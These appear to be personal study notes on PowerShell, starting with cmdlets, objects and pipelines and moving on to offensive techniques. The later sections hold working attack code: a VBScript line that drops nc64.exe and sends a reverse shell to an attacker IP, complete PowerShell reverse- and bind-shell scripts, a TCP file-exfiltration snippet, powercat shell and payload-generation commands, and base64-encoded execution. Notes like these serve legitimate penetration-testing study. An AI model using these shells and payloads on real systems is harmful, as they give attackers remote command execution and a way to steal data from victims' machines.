**PowerShell** is a task automation and configuration management program from Microsoft, consisting of a command-line shell and the associated scripting language.

-It combines a **command-line interface,** and a **scripting language built on the .NET framework.**

**-PowerShell is object-oriented** -> allows administrators to automate tasks effectively by manipulating objects.

**-PowerShell has lately expanded to support macOS and Linux.**

**-Automation tool**

**-Open-source and cross-platform**

Windows and Unix handled system operations differently, Windows used structured data and APIs, while Unix treated everything as text files.

* The solution was to develop an object-oriented approach, combining scripting simplicity with the power of the .NET framework.

**Object represents an item with properties (characteristics) and methods (actions).**

objects are fundamental units that encapsulate data (properties) like file names, usernames or sizes as data and functionality (Methods) like copying a file or stopping a process.

**Cmdlet**

**PowerShell commands are known as cmdlets (pronounced command-lets)**

**cmdlet** (pronounced "**command-let**") is a lightweight command that performs a single function. Cmdlets are specialized commands in PowerShell, built on the .NET Framework. (the command in PowerShell is cmdlet or functions or alias all consider as cmdlets, so cmdlet is the main command type In PowerShell)

* The PowerShell has:
* **Cmdlets** are the core commands in PowerShell, built specifically for it. compiled .NET classes that perform a specific action. (**Syntax**: They follow the Verb-Noun), compiled into DLLs and can’t be modified.
* **Functions** are reusable blocks of PowerShell script that can contain multiple lines of code and can be user-defined. Functions are often built or wrote using PowerShell scripting, interpreted at runtime and can be modified.
* **Aliases** are shortcuts or alternate names for cmdlets, functions, or even executable commands. They help make command-line operations quicker and more convenient.

**cmdlet** itself **is not an actual command** or executable in PowerShell—it’s just the term used to describe the specialized commands within the PowerShell environment.

**standard PowerShell syntax**: Cmdlet -Property "pattern"

**cmdlet** returns objects that retain their properties and methods.

**Cmdlet**: designed to follow a standard verb-noun naming convention (e.g., Get-Process, Set-Item, New-Object).

-Single Purpose: Each cmdlet is designed to perform a specific task or operation.

-Get-Command will list all available cmdlets and other commands

**PowerShell have possibility of extending its functionality by downloading additional cmdlets from online repositories.**

**Some Common Cmdlets.**

**Dir (ls) -> Get-ChildItem**

**Type(cat) -> Get-Content**

**Touch -> New-Item -Path “the path to file” , Remove-Item -Path “the path to file”, Copy-Item -path -dist,**

**Where-Object -Property " " (-like, -eq, -gt,..) "ship\*"**

* **It used to search for property in pipelining:**

**Get-Service | Where-Object { $\_.DisplayName -like "\*A merry life and a short one\*" }**

* **$\_ : variable that have the entire object displayed from get-service cmdlet.**

**Get-ChildItem | Where-Object -Property "Name" -like "Pu\*"**

**=**

**Get-ChildItem | Where-Object { $\_.Name -like "Pu\*"}**

**Findstr (grep) -> Select-String -Path ".\captain-hat.txt" -Pattern "hat"**

**Systeminfo -> Get-ComputerInfo**

**Ipconfig -> Get-NetIPConfiguration**

**Get-LocalUser: Lists local user accounts (like net user in CMD).**

**Get-Process, Get-Service, Get-NetTCPConnection,**

**Get-FileHash -> to get hash for file.**

**Get-Command. It’s an essential tool for discovering what commands one can use.**

**Get-Help (cmdlet)**

**Find-Module, Install-Module -> to install other cmdlets.**

**Scripting is the process of writing and executing a series of commands contained in a text file (script)**

***Invoke-Command* is essential for executing commands on local and remote computers, used to execute payloads or commands on target systems during an engagement by penetration testers—or attackers alike.**

**Ex local computer:**

**Invoke-Command -FilePath c:\scripts\test.ps1 -ComputerName Server01**

**Ex Remote computer:**

**Invoke-Command -ComputerName Server01 -Credential Domain01\User01 -ScriptBlock { Get-Culture }**

* **Script extension 🡪 .ps 🡪 brief of “.powershell”**

**///////////////////**

**sc qc [Service\_Name]**

**sc →** The Service Control Manager (SCM) command-line tool (sc.exe).

**qc →** Stands for Query Configuration, retrieves details about the specified service.

**Output may indicate:**

**SERVICE\_NAME →** The internal name of the service.

**TYPE →** WIN32\_OWN\_PROCESS means it runs in its own process**.**

**START\_TYPE**

* **2 →** AUTO\_START (Starts automatically at boot).
* **3 →** MANUAL (Starts only when triggered).
* **4 →** DISABLED (Cannot be started).

**ERROR\_CONTROL →** Defines what happens if the service fails. **BINARY\_PATH\_NAME →** The full path of the executable that runs the service. **SERVICE\_START\_NAME**

* **LocalSystem** → Runs with SYSTEM privileges (high privilege).
* **LocalService or NetworkService →** Runs with lower privileges.

**////**

**CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker\_ip> 1234", 0, True**

**This will copy nc64.exe from the share to the user's workstation %tmp% directory and send a reverse shell back to the attacker whenever a user opens the shared VBS script.**

**COM stands for Component Object Model, a Microsoft technology that allows different software components (even written in different programming languages) to talk to each other**

* **CreateObject is a VBScript function that creates and returns a reference to a COM object.**
* **"WScript.Shell" is the ProgID (Programmatic Identifier) of the object you want this is ProgID is for WScript.Shell COM Object.**

**////////////////////////////////////////////////////////////////////////////////////////////**

**PowerShell**

**Execution Policy:** Define Types of Scripts Can Be Run “Default Restricted”

* Set-ExecutionPolicy [], Get-ExecutionPolicy

**File Sharing:**

**Download:**

(NewObject System.Net.WebClient).DownloadFile(Source-Path-URL[The-Opened-Server], Dist-Path)

**Upload**:

$client = New-Object Net.Sockets.TcpClient("10.11.0.4",4444);

$stream = $client.GetStream(); $file = [System.IO.File]::ReadAllBytes("C:\Path\to\file.txt"); $stream.Write($file, 0, $file.Length); $stream.Close(); $client.Close()

On kali just listner.

**Reverse Shells:**

Kali Listner: nc -nlpv 4444

Windows Client Powershell:

$client = New-Object System.Net.Sockets.TCPClient('Server-IP',server-Port);

$stream = $client.GetStream();

[byte []]$bytes = 0..65535|%{0};

// the maximum size of a TCP packet in many buffer scenarios (64 KB).

//Initializes a buffer of 65,536 bytes, all set to zero. It will store the received data (commands).

while(($i = $stream.Read($bytes, 0, $bytes.Length))-ne 0){

$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);

$sendback = (iex $data 2>&1 | Out-String );

// iex: Invoke-Expression Cmdlet, run any incomming string as command

// 2>&1: Redirects standard error to standard output.

// | Out-String: Converts output into a string.

$sendback2 = $sendback + 'PS ' + (pwd) .Path +'>';

$sendbyte = ([text.encoding] :: ASCII).GetBytes($sendback2);

$stream.Write($sendbyte,0,$sendbyte.Length);

$stream.Flush();

}

$client.Close();

Bind Shell:

$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443);

$listener.start();

$client = $listener. AcceptTcpClient();

$stream = $client.GetStream();

[byte []]$bytes = 0 .. 65535|%{0};

while(($i = $stream.Read($bytes, 0, $bytes.Length))-ne 0){

$data = (New-Object -TypeName

System. Text.ASCIIEncoding) .GetString($bytes,0,$i);

$sendback = (iex $data 2>&1 | Out-String );

$sendback2 = $sendback + 'PS ' + (pwd) .Path + '>';

$sendbyte =([text.encoding] :: ASCII).GetBytes($sendback2);

$stream.Write($sendbyte,0,$sendbyte.Length);

$stream. Flush()

}

$client.Close();

$listener.Stop()

Connect from a remote machine using netcat **nc ip port**.

////////////////////////////////

**Powercat: (powercat.ps1)** PowerShell Version of Netcat (For making reverse & bind shells)

Tool is a script Downloaded by **Dot-Sourcing 🡪 . .pwercat.ps1**

* + **The first dot, the tool is imported within this PS session only**

**Powercat File Transfer:**

Remote kali machine (receiver): netcat listener

(Sender) Ps > Powercat -c remote-IP -p Port -i file-path # -c: client mode

**Reverse Shell:** Powercat -c remote-IP -p Port -e cmd.exe

**Bind Shell:** Powercat -l -p Port -e cmd.exe

**Stand-Alone Payloads (set of PowerShell instructions & Powercat Scripts)**

**Generating payloads like MSFvenom**

**For Ex: to make reverse shell payload 🡪** Powercat -c remote-IP -p Port -e cmd.exe -g > payload.ps1 **To make payload in base 64 use -eg**

**////////////////////////////////////////////////////////////////////////////////////////////**

**Executing base64 as command:**

**Powershell.exe -E “base64\_string”**

**////////////////////////////////////////////////////////////////////////////////////////////**

**///////////////////////**

icacls**: command to see file permission**

**schtasks: To see schedule tasks**

cmdkey /list: to see saved credentials

nc64.exe can be found on C:\tools, it’s the netcat command.

msiexec: installing, modifying, or configuring Windows Installer packages (.msi files).